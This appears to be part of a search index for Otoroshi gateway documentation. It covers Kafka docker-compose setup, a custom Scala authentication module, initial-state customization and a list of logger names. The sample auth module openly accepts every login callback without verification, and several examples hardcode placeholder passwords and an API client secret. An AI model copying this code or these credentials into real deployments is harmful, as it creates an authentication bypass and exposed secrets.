KAFKA_ZOOKEEPER_PROTOCOL: 'PLAINTEXT'\n KAFKA_CFG_ZOOKEEPER_CONNECT: 'zookeeper:2181'\n KAFKA_CFG_LISTENER_SECURITY_PROTOCOL_MAP: 'INTERNAL:PLAINTEXT,CLIENT:SASL_SSL'\n KAFKA_CFG_LISTENERS: 'INTERNAL://:9093,CLIENT://:9092'\n KAFKA_INTER_BROKER_LISTENER_NAME: 'INTERNAL'\n KAFKA_CFG_ADVERTISED_LISTENERS: 'INTERNAL://kafka:9093,CLIENT://kafka:9092'\n KAFKA_CLIENT_USERS: 'user'\n KAFKA_CLIENT_PASSWORDS: 'password'\n KAFKA_CERTIFICATE_PASSWORD: 'otoroshi'\n KAFKA_TLS_TYPE: 'JKS'\n KAFKA_OPTS: \"-Djava.security.auth.login.config=/opt/kafka/kafka_server_jaas.conf\"\n volumes:\n - ./secrets/kafka_server_jaas.conf:/opt/kafka/kafka_server_jaas.conf\n - ./truststore/kafka.truststore.jks:/opt/bitnami/kafka/config/certs/kafka.truststore.jks:ro\n - ./keystore/kafka.keystore.jks:/opt/bitnami/kafka/config/certs/kafka.keystore.jks:ro\n````\n\nAt this point, your repository should be \n````\n/tmp/kafka\n | generate.sh\n | docker-compose.yml\n | truststore\n | kafka.truststore.jks\n | keystore \n | kafka.keystore.jks\n | secrets \n | kafka_server_jaas.conf\n````\n\nLaunch the command to create the zookeeper and kafka containers\n\n````bash\ndocker-compose up -d\n````\n\nCreate a new exporter on your Otoroshi instance with the following values\n\n@@@ div { .centered-img }\n\n@@@\n"},{"name":"create-custom-auth-module.md","id":"/how-to-s/create-custom-auth-module.md","url":"/how-to-s/create-custom-auth-module.html","title":"Create your Authentication module","content":"# Create your Authentication module\n\nAuthentication modules can be used to protect routes. In some cases, you need to create your own custom authentication module to create a new one or simply inherit and extend an exiting module.\n\nYou can write your own authentication using your favorite IDE. Just create an SBT project with the following dependencies. It can be quite handy to manage the source code like any other piece of code, and it avoid the compilation time for the script at Otoroshi startup.\n\n```scala\nlazy val root = (project in file(\".\")).\n settings(\n inThisBuild(List(\n organization := \"com.example\",\n scalaVersion := \"2.12.7\",\n version := \"0.1.0-SNAPSHOT\"\n )),\n name := \"my-custom-auth-module\",\n libraryDependencies += \"fr.maif\" %% \"otoroshi\" % \"1x.x.x\"\n )\n```\n\nJust below, you can find an example of Custom Auth. module. \n\n```scala\npackage auth.custom\n\nimport akka.http.scaladsl.util.FastFuture\nimport otoroshi.auth.{AuthModule, AuthModuleConfig, Form, SessionCookieValues}\nimport otoroshi.controllers.routes\nimport otoroshi.env.Env\nimport otoroshi.models._\nimport otoroshi.security.IdGenerator\nimport otoroshi.utils.JsonPathValidator\nimport otoroshi.utils.syntax.implicits.BetterSyntax\nimport play.api.http.MimeTypes\nimport play.api.libs.json._\nimport play.api.mvc._\n\nimport scala.concurrent.{ExecutionContext, Future}\nimport scala.util.{Failure, Success, Try}\n\ncase class CustomModuleConfig(\n id: String,\n name: String,\n desc: String,\n clientSideSessionEnabled: Boolean,\n sessionMaxAge: Int = 86400,\n userValidators: Seq[JsonPathValidator] = Seq.empty,\n tags: Seq[String],\n metadata: Map[String, String],\n sessionCookieValues: SessionCookieValues,\n location: otoroshi.models.EntityLocation = otoroshi.models.EntityLocation(),\n form: Option[Form] = None,\n foo: String = \"bar\"\n ) extends AuthModuleConfig {\n def `type`: String = \"custom\"\n def humanName: String = \"Custom Authentication\"\n\n override def authModule(config: GlobalConfig): AuthModule = CustomAuthModule(this)\n override def withLocation(location: EntityLocation): AuthModuleConfig = copy(location = location)\n\n lazy val format = new Format[CustomModuleConfig] {\n override def writes(o: CustomModuleConfig): JsValue = o.asJson\n\n override def reads(json: JsValue): JsResult[CustomModuleConfig] = Try {\n CustomModuleConfig(\n location = otoroshi.models.EntityLocation.readFromKey(json),\n id = (json \\ \"id\").as[String],\n name = (json \\ \"name\").as[String],\n desc = (json \\ \"desc\").asOpt[String].getOrElse(\"--\"),\n clientSideSessionEnabled = (json \\ \"clientSideSessionEnabled\").asOpt[Boolean].getOrElse(true),\n sessionMaxAge = (json \\ \"sessionMaxAge\").asOpt[Int].getOrElse(86400),\n metadata = (json \\ \"metadata\").asOpt[Map[String, String]].getOrElse(Map.empty),\n tags = (json \\ \"tags\").asOpt[Seq[String]].getOrElse(Seq.empty[String]),\n sessionCookieValues =\n (json \\ \"sessionCookieValues\").asOpt(SessionCookieValues.fmt).getOrElse(SessionCookieValues()),\n userValidators = (json \\ \"userValidators\")\n .asOpt[Seq[JsValue]]\n .map(_.flatMap(v => JsonPathValidator.format.reads(v).asOpt))\n .getOrElse(Seq.empty),\n form = (json \\ \"form\").asOpt[JsValue].flatMap(json => Form._fmt.reads(json) match {\n case JsSuccess(value, _) => Some(value)\n case JsError(_) => None\n }),\n foo = (json \\ \"foo\").asOpt[String].getOrElse(\"bar\")\n )\n } match {\n case Failure(exception) => JsError(exception.getMessage)\n case Success(value) => JsSuccess(value)\n }\n }.asInstanceOf[Format[AuthModuleConfig]]\n\n override def _fmt()(implicit env: Env): Format[AuthModuleConfig] = format\n\n override def asJson =\n location.jsonWithKey ++ Json.obj(\n \"type\" -> \"custom\",\n \"id\" -> this.id,\n \"name\" -> this.name,\n \"desc\" -> this.desc,\n \"clientSideSessionEnabled\" -> this.clientSideSessionEnabled,\n \"sessionMaxAge\" -> this.sessionMaxAge,\n \"metadata\" -> this.metadata,\n \"tags\" -> JsArray(tags.map(JsString.apply)),\n \"sessionCookieValues\" -> SessionCookieValues.fmt.writes(this.sessionCookieValues),\n \"userValidators\" -> JsArray(userValidators.map(_.json)),\n \"form\" -> this.form.map(Form._fmt.writes),\n \"foo\" -> foo\n )\n\n def save()(implicit ec: ExecutionContext, env: Env): Future[Boolean] = env.datastores.authConfigsDataStore.set(this)\n\n override def cookieSuffix(desc: ServiceDescriptor) = s\"custom-auth-$id\"\n def theDescription: String = desc\n def theMetadata: Map[String, String] = metadata\n def theName: String = name\n def theTags: Seq[String] = tags\n}\n\nobject CustomAuthModule {\n def defaultConfig = CustomModuleConfig(\n id = IdGenerator.namedId(\"auth_mod\", IdGenerator.uuid),\n name = \"My custom auth. module\",\n desc = \"My custom auth. module\",\n tags = Seq.empty,\n metadata = Map.empty,\n sessionCookieValues = SessionCookieValues(),\n clientSideSessionEnabled = true,\n form = None)\n}\n\ncase class CustomAuthModule(authConfig: CustomModuleConfig) extends AuthModule {\n def this() = this(CustomAuthModule.defaultConfig)\n\n override def paLoginPage(request: RequestHeader, config: GlobalConfig, descriptor: ServiceDescriptor, isRoute: Boolean)\n (implicit ec: ExecutionContext, env: Env): Future[Result] = {\n val redirect = request.getQueryString(\"redirect\")\n val hash = env.sign(s\"${authConfig.id}:::${descriptor.id}\")\n env.datastores.authConfigsDataStore.generateLoginToken().flatMap { token =>\n Results\n .Ok(auth.custom.views.html.login(s\"/privateapps/generic/callback?desc=${descriptor.id}&hash=$hash&route=${isRoute}\", token))\n .as(MimeTypes.HTML)\n .addingToSession(\n \"ref\" -> authConfig.id,\n s\"pa-redirect-after-login-${authConfig.cookieSuffix(descriptor)}\" -> redirect.getOrElse(\n routes.PrivateAppsController.home.absoluteURL(env.exposedRootSchemeIsHttps)(request)\n )\n )(request)\n .future\n }\n }\n\n override def paLogout(request: RequestHeader, user: Option[PrivateAppsUser], config: GlobalConfig, descriptor: ServiceDescriptor)\n (implicit ec: ExecutionContext, env: Env): Future[Either[Result, Option[String]]] = FastFuture.successful(Right(None))\n\n override def paCallback(request: Request[AnyContent], config: GlobalConfig, descriptor: ServiceDescriptor)\n (implicit ec: ExecutionContext, env: Env): Future[Either[String, PrivateAppsUser]] = {\n PrivateAppsUser(\n randomId = IdGenerator.token(64),\n name = \"foo\",\n email = s\"foo@oto.tools\",\n profile = Json.obj(\n \"name\" -> \"foo\",\n \"email\" -> s\"foo@oto.tools\"\n ),\n realm = authConfig.cookieSuffix(descriptor),\n otoroshiData = None,\n authConfigId = authConfig.id,\n tags = Seq.empty,\n metadata = Map.empty,\n location = authConfig.location\n )\n .validate(authConfig.userValidators)\n .vfuture\n }\n\n override def boLoginPage(request: RequestHeader, config: GlobalConfig)(implicit ec: ExecutionContext, env: Env): Future[Result] = ???\n\n override def boLogout(request: RequestHeader, user: BackOfficeUser, config: GlobalConfig)(implicit ec: ExecutionContext, env: Env): Future[Either[Result, Option[String]]] = ???\n\n override def boCallback(request: Request[AnyContent], config: GlobalConfig)(implicit ec: ExecutionContext, env: Env): Future[Either[String, BackOfficeUser]] = ???\n}\n```\n\nThis custom Auth. module inherits from AuthModule (the Auth module have to inherit from the AuthModule trait to be found by Otoroshi). It exposes a simple UI to login, and create an user for each callback request without any verification. Methods starting with bo will be called in case that the auth. module is used on the back office and in other cases, the pa methods (pa for Private App) will be called to protect a route.\n\nThis custom Auth. module uses a [Play template](https://www.playframework.com/documentation/2.8.x/ScalaTemplates) to display the login page. It's not required by Otoroshi but it's a easy way to create a login form.\n\n```html \n@import otoroshi.env.Env\n\n@(action: String, token: String)\n\n
\n

Login page

\n\n
\n \n \n Login\n \n \n
\n```\n\nYour hierarchy files should be something like:\n\n```\nauth\n| custom\n |customModule.scala\n | views\n | login.scala.html\n```\n\nWhen your code is ready, create a jar file \n\n```\nsbt package\n```\n\nand add the jar file to the Otoroshi classpath\n\n```sh\njava -cp \"/path/to/customModule.jar:$/path/to/otoroshi.jar\" play.core.server.ProdServerStart\n```\n\nthen, in the authentication modules, you can chose your custom module in the list."},{"name":"custom-initial-state.md","id":"/how-to-s/custom-initial-state.md","url":"/how-to-s/custom-initial-state.html","title":"Initial state customization","content":"# Initial state customization\n\nwhen you start otoroshi for the first time, some basic entities will be created and stored in the datastore in order to make your instance work properly. However it might not be enough for your use case but you do want to bother with restoring a complete otoroshi export.\n\nIn order to make state customization easy, otoroshi provides the config. key `otoroshi.initialCustomization`, overriden by the env. variable `OTOROSHI_INITIAL_CUSTOMIZATION`\n\nThe expected structure is the following :\n\n```javascript\n{\n \"config\": { ... },\n \"admins\": [],\n \"simpleAdmins\": [],\n \"serviceGroups\": [],\n \"apiKeys\": [],\n \"serviceDescriptors\": [],\n \"errorTemplates\": [],\n \"jwtVerifiers\": [],\n \"authConfigs\": [],\n \"certificates\": [],\n \"clientValidators\": [],\n \"scripts\": [],\n \"tcpServices\": [],\n \"dataExporters\": [],\n \"tenants\": [],\n \"teams\": []\n}\n```\n\nin this structure, everything is optional. For every array property, items will be added to the datastore. For the global config. object, you can just add the parts that you need, and they will be merged with the existing config. object of the datastore.\n\n## Customize the global config.\n\nfor instance, if you want to customize the behavior of the TLS termination, you can use the following :\n\n```sh\nexport OTOROSHI_INITIAL_CUSTOMIZATION='{\"config\":{\"tlsSettings\":{\"defaultDomain\":\"www.foo.bar\",\"randomIfNotFound\":false}}'\n```\n\n## Customize entities\n\nif you want to add apikeys at first boot \n\n```sh\nexport OTOROSHI_INITIAL_CUSTOMIZATION='{\"apikeys\":[{\"_loc\":{\"tenant\":\"default\",\"teams\":[\"default\"]},\"clientId\":\"ksVlQ2KlZm0CnDfP\",\"clientSecret\":\"usZYbE1iwSsbpKY45W8kdbZySj1M5CWvFXe0sPbZ0glw6JalMsgorDvSBdr2ZVBk\",\"clientName\":\"awesome-apikey\",\"description\":\"the awesome apikey\",\"authorizedGroup\":\"default\",\"authorizedEntities\":[\"group_default\"],\"enabled\":true,\"readOnly\":false,\"allowClientIdOnly\":false,\"throttlingQuota\":10000000,\"dailyQuota\":10000000,\"monthlyQuota\":10000000,\"constrainedServicesOnly\":false,\"restrictions\":{\"enabled\":false,\"allowLast\":true,\"allowed\":[],\"forbidden\":[],\"notFound\":[]},\"rotation\":{\"enabled\":false,\"rotationEvery\":744,\"gracePeriod\":168,\"nextSecret\":null},\"validUntil\":null,\"tags\":[],\"metadata\":{}}]}'\n```\n"},{"name":"custom-log-levels.md","id":"/how-to-s/custom-log-levels.md","url":"/how-to-s/custom-log-levels.html","title":"Log levels customization","content":"# Log levels customization\n\nIf you want to customize the log level of your otoroshi instances, it's pretty easy to do it using environment variables or configuration file.\n\n## Customize log level for one logger with configuration file\n\nLet say you want to see `DEBUG` messages from the logger `otoroshi-http-handler`.\n\nThen you just have to declare in your otoroshi configuration file\n\n```\notoroshi.loggers {\n ...\n otoroshi-http-handler = \"DEBUG\"\n ...\n}\n```\n\npossible levels are `TRACE`, `DEBUG`, `INFO`, `WARN`, `ERROR`, `OFF`. Default one is `WARN`.\n\n## Customize log level for one logger with environment variable\n\nLet say you want to see `DEBUG` messages from the logger `otoroshi-http-handler`.\n\nThen you just have to declare an environment variable named `OTOROSHI_LOGGERS_OTOROSHI_HTTP_HANDLER` with value `DEBUG`. The rule is\n\n```scala\n\"OTOROSHI_LOGGERS_\" + loggerName.toUpperCase().replace(\"-\", \"_\")\n```\n\npossible levels are `TRACE`, `DEBUG`, `INFO`, `WARN`, `ERROR`, `OFF`. Default one is `WARN`.\n\n## List of loggers\n\n- [`otoroshi-error-handler`](https://github.com/MAIF/otoroshi/search?q=Logger%28%22otoroshi-error-handler%22%29)\n- [`otoroshi-http-handler`](https://github.com/MAIF/otoroshi/search?q=Logger%28%22otoroshi-http-handler%22%29)\n- [`otoroshi-http-handler-debug`](https://github.com/MAIF/otoroshi/search?q=Logger%28%22otoroshi-http-handler-debug%22%29)\n- [`otoroshi-websocket-handler`](https://github.com/MAIF/otoroshi/search?q=Logger%28%22otoroshi-websocket-handler%22%29)\n- [`otoroshi-websocket`](https://github.com/MAIF/otoroshi/search?q=Logger%28%22otoroshi-websocket%22%29)\n- [`otoroshi-websocket-handler-actor`](https://github.com/MAIF/otoroshi/search?q=Logger%28%22otoroshi-websocket-handler-actor%22%29)\n- [`otoroshi-snowmonkey`](https://github.com/MAIF/otoroshi/search?q=Logger%28%22otoroshi-snowmonkey%22%29)\n- [`otoroshi-circuit-breaker`](https://github.com/MAIF/otoroshi/search?q=Logger%28%22otoroshi-circuit-breaker%22%29)\n- [`otoroshi-circuit-breaker`](https://github.com/MAIF/otoroshi/search?q=Logger%28%22otoroshi-circuit-breaker%22%29)\n- [`otoroshi-worker`](https://github.com/MAIF/otoroshi/search?q=Logger%28%22otoroshi-worker%22%29)\n- [`otoroshi-http-handler`](https://github.com/MAIF/otoroshi/search?q=Logger%28%22otoroshi-http-handler%22%29)\n- [`otoroshi-auth-controller`](https://github.com/MAIF/otoroshi/search?q=Logger%28%22otoroshi-auth-controller%22%29)\n- [`otoroshi-swagger-controller`](https://github.com/MAIF/otoroshi/search?q=Logger%28%22otoroshi-swagger-controller%22%29)\n- [`otoroshi-u2f-controller`](https://github.com/MAIF/otoroshi/search?q=Logger%28%22otoroshi-u2f-controller%22%29)\n- [`otoroshi-backoffice-api`](https://github.com/MAIF/otoroshi/search?q=Logger%28%22otoroshi-backoffice-api%22%29)\n- [`otoroshi-health-api`](https://github.com/MAIF/otoroshi/search?q=Logger%28%22otoroshi-health-api%22%29)\n- [`otoroshi-stats-api`](https://github.com/MAIF/otoroshi/search?q=Logger%28%22otoroshi-stats-api%22%29)\n- [`otoroshi-admin-api`](https://github.com/MAIF/otoroshi/search?q=Logger%28%22otoroshi-admin-api%22%29)\n- [`otoroshi-auth-modules-api`](https://github.com/MAIF/otoroshi/search?q=Logger%28%22otoroshi-auth-modules-api%22%29)\n- [`otoroshi-certificates-api`](https://github.com/MAIF/otoroshi/search?q=Logger%28%22otoroshi-certificates-api%22%29)\n- [`otoroshi-pki`](https://github.com/MAIF/otoroshi/search?q=Logger%28%22otoroshi-pki%22%29)\n- [`otoroshi-scripts-api`](https://github.com/MAIF/otoroshi/search?q=Logger%28%22otoroshi-scripts-api%22%29)\n- [`otoroshi-analytics-api`](https://github.com/MAIF/otoroshi/search?q=Logger%28%22otoroshi-analytics-api%22%29)\n- [`otoroshi-import-export-api`](https://github.com/MAIF/otoroshi/search?q=Logger%28%22otoroshi-import-export-api%22%29)\n- [`otoroshi-templates-api`](https://github.com/MAIF/otoroshi/search?q=Logger%28%22otoroshi-templates-api%22%29)\n- [`otoroshi-teams-api`](https://github.com/MAIF/otoroshi/search?q=Logger%28%22otoroshi-teams-api%22%29)\n- [`otoroshi-events-api`](https://github.com/MAIF/otoroshi/search?q=Logger%28%22otoroshi-events-api%22%29)\n- [`otoroshi-canary-api`](https://github.com/MAIF/otoroshi/search?q=Logger%28%22otoroshi-canary-api%22%29)\n- [`otoroshi-data-exporter-api`](https://github.com/MAIF/otoroshi/search?q=Logger%28%22otoroshi-data-exporter-api%22%29)\n- [`otoroshi-services-api`](https://github.com/MAIF/otoroshi/search?q=Logger%28%22otoroshi-services-api%22%29)\n- [`otoroshi-tcp-service-api`](https://github.com/MAIF/otoroshi/search?q=Logger%28%22otoroshi-tcp-service-api%22%29)\n- [`otoroshi-tenants-api`](https://github.com/MAIF/otoroshi/search?q=Logger%28%22otoroshi-tenants-api%22%29)\n- [`otoroshi-global-config-api`](https://github.com/MAIF/otoroshi/search?q=Logger%28%22otoroshi-global-config-api%22%29)\n- [`otoroshi-apikeys-fs-api`](https://github.com/MAIF/otoroshi/search?q=Logger%28%22otoroshi-apikeys-fs-api%22%29)\n- [`otoroshi-apikeys-fg-api`](https://github.com/MAIF/otoroshi/search?q=Logger%28%22otoroshi-apikeys-fg-api%22%29)\n- [`otoroshi-apikeys-api`](https://github.com/MAIF/otoroshi/search?q=Logger%28%22otoroshi-apikeys-api%22%29)\n- [`otoroshi-statsd-actor`](https://github.com/MAIF/otoroshi/search?q=Logger%28%22otoroshi-statsd-actor%22%29)\n- [`otoroshi-snow-monkey-api`](https://github.com/MAIF/otoroshi/search?q=Logger%28%22otoroshi-snow-monkey-api%22%29)\n- [`otoroshi-jobs-eventstore-checker`](https://github.com/MAIF/otoroshi/search?q=Logger%28%22otoroshi-jobs-eventstore-checker%22%29)\n- [`otoroshi-initials-certs-job`](https://github.com/MAIF/otoroshi/search?q=Logger%28%22otoroshi-initials-certs-job%22%29)\n- [`otoroshi-alert-actor`](https://github.com/MAIF/otoroshi/search?q=Logger%28%22otoroshi-alert-actor%22%29)\n- [`otoroshi-alert-actor-supervizer`](https://github.com/MAIF/otoroshi/search?q=Logger%28%22otoroshi-alert-actor-supervizer%22%29)\n- [`otoroshi-alerts`](https://github.com/MAIF/otoroshi/search?q=Logger%28%22otoroshi-alerts%22%29)\n- [`otoroshi-apikeys-secrets-rotation-job`](https://github.com/MAIF/otoroshi/search?q=Logger%28%22otoroshi-apikeys-secrets-rotation-job%22%29)\n- [`otoroshi-loader`](https://github.com/MAIF/otoroshi/search?q=Logger%28%22otoroshi-loader%22%29)\n- [`otoroshi-api-action`](https://github.com/MAIF/otoroshi/search?q=Logger%28%22otoroshi-api-action%22%29)\n- [`otoroshi-api-action`](https://github.com/MAIF/otoroshi/search?q=Logger%28%22otoroshi-api-action%22%29)\n- [`otoroshi-analytics-writes-elastic`](https://github.com/MAIF/otoroshi/search?q=Logger%28%22otoroshi-analytics-writes-elastic%22%29)\n- [`otoroshi-analytics-reads-elastic`](https://github.com/MAIF/otoroshi/search?q=Logger%28%22otoroshi-analytics-reads-elastic%22%29)\n- [`otoroshi-events-actor-supervizer`](https://github.com/MAIF/otoroshi/search?q=Logger%28%22otoroshi-events-actor-supervizer%22%29)\n- [`otoroshi-data-exporter`](https://github.com/MAIF/otoroshi/search?q=Logger%28%22otoroshi-data-exporter%22%29)\n- [`otoroshi-data-exporter-update-job`](https://github.com/MAIF/otoroshi/search?q=Logger%28%22otoroshi-data-exporter-update-job%22%29)\n- [`otoroshi-kafka-wrapper`](https://github.com/MAIF/otoroshi/search?q=Logger%28%22otoroshi-kafka-wrapper%22%29)\n- [`otoroshi-kafka-connector`](https://github.com/MAIF/otoroshi/search?q=Logger%28%22otoroshi-kafka-connector%22%29)\n- [`otoroshi-analytics-webhook`](https://github.com/MAIF/otoroshi/search?q=Logger%28%22otoroshi-analytics-webhook%22%29)\n- [`otoroshi-jobs-software-updates`](https://github.com/MAIF/otoroshi/search?q=Logger%28%22otoroshi-jobs-software-updates%22%29)\n- [`otoroshi-analytics-actor`](https://github.com/MAIF/otoroshi/search?q=Logger%28%22otoroshi-analytics-actor%22%29)\n- [`otoroshi-analytics-actor-supervizer`](https://github.com/MAIF/otoroshi/search?q=Logger%28%22otoroshi-analytics-actor-supervizer%22%29)\n- [`otoroshi-analytics-event`](https://github.com/MAIF/otoroshi/search?q=Logger%28%22otoroshi-analytics-event%22%29)\n- [`otoroshi-env`](https://github.com/MAIF/otoroshi/search?q=Logger%28%22otoroshi-env%22%29)\n- [`otoroshi-script-compiler`](https://github.com/MAIF/otoroshi/search?q=Logger%28%22otoroshi-script-compiler%22%29)\n- [`otoroshi-script-manager`](https://github.com/MAIF/otoroshi/search?q=Logger%28%22otoroshi-script-manager%22%29)\n- [`otoroshi-script`](https://github.com/MAIF/otoroshi/search?q=Logger%28%22otoroshi-script%22%29)\n- [`otoroshi-tcp-proxy`](https://github.com/MAIF/otoroshi/search?q=Logger%28%22otoroshi-tcp-proxy%22%29)\n- [`otoroshi-tcp-proxy`](https://github.com/MAIF/otoroshi/search?q=Logger%28%22otoroshi-tcp-proxy%22%29)\n- [`otoroshi-tcp-proxy`](https://github.com/MAIF/otoroshi/search?q=Logger%28%22otoroshi-tcp-proxy%22%29)\n- [`otoroshi-custom-timeouts`](https://github.com/MAIF/otoroshi/search?q=Logger%28%22otoroshi-custom-timeouts%22%29)\n- [`otoroshi-client-config`](https://github.com/MAIF/otoroshi/search?q=Logger%28%22otoroshi-client-config%22%29)\n- [`otoroshi-canary`](https://github.com/MAIF/otoroshi/search?q=Logger%28%22otoroshi-canary%22%29)\n- [`otoroshi-redirection-settings`](https://github.com/MAIF/otoroshi/search?q=Logger%28%22otoroshi-redirection-settings%22%29)\n- [`otoroshi-service-descriptor`](https://github.com/MAIF/otoroshi/search?q=Logger%28%22otoroshi-service-descriptor%22%29)\n- [`otoroshi-service-descriptor-datastore`](https://github.com/MAIF/otoroshi/search?q=Logger%28%22otoroshi-service-descriptor-datastore%22%29)\n- [`otoroshi-console-mailer`](https://github.com/MAIF/otoroshi/search?q=Logger%28%22otoroshi-console-mailer%22%29)\n- [`otoroshi-mailgun-mailer`](https://github.com/MAIF/otoroshi/search?q=Logger%28%22otoroshi-mailgun-mailer%22%29)\n- [`otoroshi-mailjet-mailer`](https://github.com/MAIF/otoroshi/search?q=Logger%28%22otoroshi-mailjet-mailer%22%29)\n- [`otoroshi-sendgrid-mailer`](https://github.com/MAIF/otoroshi/search?q=Logger%28%22otoroshi-sendgrid-mailer%22%29)\n- [`otoroshi-generic-mailer`](https://github.com/MAIF/otoroshi/search?q=Logger%28%22otoroshi-generic-mailer%22%29)\n- [`otoroshi-clevercloud-client`](https://github.com/MAIF/otoroshi/search?q=Logger%28%22otoroshi-clevercloud-client%22%29)\n- [`otoroshi-metrics`](https://github.com/MAIF/otoroshi/search?q=Logger%28%22otoroshi-metrics%22%29)\n- [`otoroshi-gzip-config`](https://github.com/MAIF/otoroshi/search?q=Logger%28%22otoroshi-gzip-config%22%29)\n- [`otoroshi-regex-pool`](https://github.com/MAIF/otoroshi/search?q=Logger%28%22otoroshi-regex-pool%22%29)\n- [`otoroshi-ws-client-chooser`](https://github.com/MAIF/otoroshi/search?q=Logger%28%22otoroshi-ws-client-chooser%22%29)\n- [`otoroshi-akka-ws-client`](https://github.com/MAIF/otoroshi/search?q=Logger%28%22otoroshi-akka-ws-client%22%29)\n- [`otoroshi-http-implicits`](https://github.com/MAIF/otoroshi/search?q=Logger%28%22otoroshi-http-implicits%22%29)\n- [`otoroshi-service-group`](https://github.com/MAIF/otoroshi/search?q=Logger%28%22otoroshi-service-group%22%29)\n- [`otoroshi-data-exporter-config`](https://github.com/MAIF/otoroshi/search?q=Logger%28%22otoroshi-data-exporter-config%22%29)\n- [`otoroshi-data-exporter-config-migration-job`](https://github.com/MAIF/otoroshi/search?q=Logger%28%22otoroshi-data-exporter-config-migration-job%22%29)\n- [`otoroshi-lets-encrypt-helper`](https://github.com/MAIF/otoroshi/search?q=Logger%28%22otoroshi-lets-encrypt-helper%22%29)\n- [`otoroshi-apkikey`](https://github.com/MAIF/otoroshi/search?q=Logger%28%22otoroshi-apkikey%22%29)\n- [`otoroshi-error-template`](https://github.com/MAIF/otoroshi/search?q=Logger%28%22otoroshi-error-template%22%29)\n- [`otoroshi-job-manager`](https://github.com/MAIF/otoroshi/search?q=Logger%28%22otoroshi-job-manager%22%29)\n- [`otoroshi-plugins-internal-eventlistener-actor`](https://github.com/MAIF/otoroshi/search?q=Logger%28%22otoroshi-plugins-internal-eventlistener-actor%22%29)\n- [`otoroshi-global-config`](https://github.com/MAIF/otoroshi/search?q=Logger%28%22otoroshi-global-config%22%29)\n- [`otoroshi-jwks`](https://github.com/MAIF/otoroshi/search?q=Logger%28%22otoroshi-jwks%22%29)\n- [`otoroshi-jwt-verifier`](https://github.com/MAIF/otoroshi/search?q=Logger%28%22otoroshi-jwt-verifier%22%29)\n- [`otoroshi-global-jwt-verifier`](https://github.com/MAIF/otoroshi/search?q=Logger%28%22otoroshi-global-jwt-verifier%22%29)\n- [`otoroshi-snowmonkey-config`](https://github.com/MAIF/otoroshi/search?q=Logger%28%22otoroshi-snowmonkey-config%22%29)\n- [`otoroshi-webauthn-admin-datastore`](https://github.com/MAIF/otoroshi/search?q=Logger%28%22otoroshi-webauthn-admin-datastore%22%29)\n- [`otoroshi-webauthn-admin-datastore`](https://github.com/MAIF/otoroshi/search?q=Logger%28%22otoroshi-webauthn-admin-datastore%22%29)\n- [`otoroshi-service-datatstore`](https://github.com/MAIF/otoroshi/search?q=Logger%28%22otoroshi-service-datatstore%22%29)\n- [`otoroshi-cassandra-datastores`](https://github.com/MAIF/otoroshi/search?q=Logger%28%22otoroshi-cassandra-datastores%22%29)\n- [`otoroshi-redis-like-store`](https://github.com/MAIF/otoroshi/search?q=Logger%28%22otoroshi-redis-like-store%22%29)\n- [`otoroshi-globalconfig-datastore`](https://github.com/MAIF/otoroshi/search?q=Logger%28%22otoroshi-globalconfig-datastore%22%29)\n- [`otoroshi-reactive-pg-datastores`](https://github.com/MAIF/otoroshi/search?q=Logger%28%22otoroshi-reactive-pg-datastores%22%29)\n- [`otoroshi-reactive-pg-kv`](https://github.com/MAIF/otoroshi/search?q=Logger%28%22otoroshi-reactive-pg-kv%22%29)\n- [`otoroshi-cassandra-datastores`](https://github.com/MAIF/otoroshi/search?q=Logger%28%22otoroshi-cassandra-datastores%22%29)\n- [`otoroshi-apikey-datastore`](https://github.com/MAIF/otoroshi/search?q=Logger%28%22otoroshi-apikey-datastore%22%29)\n- [`otoroshi-datastore`](https://github.com/MAIF/otoroshi/search?q=Logger%28%22otoroshi-datastore%22%29)\n- [`otoroshi-certificate-datastore`](https://github.com/MAIF/otoroshi/search?q=Logger%28%22otoroshi-certificate-datastore%22%29)\n- [`otoroshi-simple-admin-datastore`](https://github.com/MAIF/otoroshi/search?q=Logger%28%22otoroshi-simple-admin-datastore%22%29)\n- [`otoroshi-atomic-in-memory-datastore`](https://github.com/MAIF/otoroshi/search?q=Logger%28%22otoroshi-atomic-in-memory-datastore%22%29)\n- [`otoroshi-lettuce-redis`](https://github.com/MAIF/otoroshi/search?q=Logger%28%22otoroshi-lettuce-redis%22%29)\n- [`otoroshi-lettuce-redis-cluster`](https://github.com/MAIF/otoroshi/search?q=Logger%28%22otoroshi-lettuce-redis-cluster%22%29)\n- [`otoroshi-redis-lettuce-datastores`](https://github.com/MAIF/otoroshi/search?q=Logger%28%22otoroshi-redis-lettuce-datastores%22%29)\n- [`otoroshi-datastores`](https://github.com/MAIF/otoroshi/search?q=Logger%28%22otoroshi-datastores%22%29)\n- [`otoroshi-file-db-datastores`](https://github.com/MAIF/otoroshi/search?q=Logger%28%22otoroshi-file-db-datastores%22%29)\n- [`otoroshi-http-db-datastores`](https://github.com/MAIF/otoroshi/search?q=Logger%28%22otoroshi-http-db-datastores%22%29)\n- [`otoroshi-s3-datastores`](https://github.com/MAIF/otoroshi/search?q=Logger%28%22otoroshi-s3-datastores%22%29)\n- [`PluginDocumentationGenerator`](https://github.com/MAIF/otoroshi/search?q=Logger%28%22PluginDocumentationGenerator%22%29)\n- [`otoroshi-health-checker`](https://github.com/MAIF/otoroshi/search?q=Logger%28%22otoroshi-health-checker%22%29)\n- [`otoroshi-healthcheck-job`](https://github.com/MAIF/otoroshi/search?q=Logger%28%22otoroshi-healthcheck-job%22%29)\n- [`otoroshi-healthcheck-local-cache-job`](https://github.com/MAIF/otoroshi/search?q=Logger%28%22otoroshi-healthcheck-local-cache-job%22%29)\n- [`otoroshi-plugins-response-cache`](https://github.com/MAIF/otoroshi/search?q=Logger%28%22otoroshi-plugins-response-cache%22%29)\n- [`otoroshi-oidc-apikey-config`](https://github.com/MAIF/otoroshi/search?q=Logger%28%22otoroshi-oidc-apikey-config%22%29)\n- [`otoroshi-plugins-maxmind-geolocation-info`](https://github.com/MAIF/otoroshi/search?q=Logger%28%22otoroshi-plugins-maxmind-geolocation-info%22%29)\n- [`otoroshi-plugins-ipstack-geolocation-info`](https://github.com/MAIF/otoroshi/search?q=Logger%28%22otoroshi-plugins-ipstack-geolocation-info%22%29)\n- [`otoroshi-plugins-maxmind-geolocation-helper`](https://github.com/MAIF/otoroshi/search?q=Logger%28%22otoroshi-plugins-maxmind-geolocation-helper%22%29)\n- [`otoroshi-plugins-user-agent-helper`](https://github.com/MAIF/otoroshi/search?q=Logger%28%22otoroshi-plugins-user-agent-helper%22%29)\n- [`otoroshi-plugins-user-agent-extractor`](https://github.com/MAIF/otoroshi/search?q=Logger%28%22otoroshi-plugins-user-agent-extractor%22%29)\n- 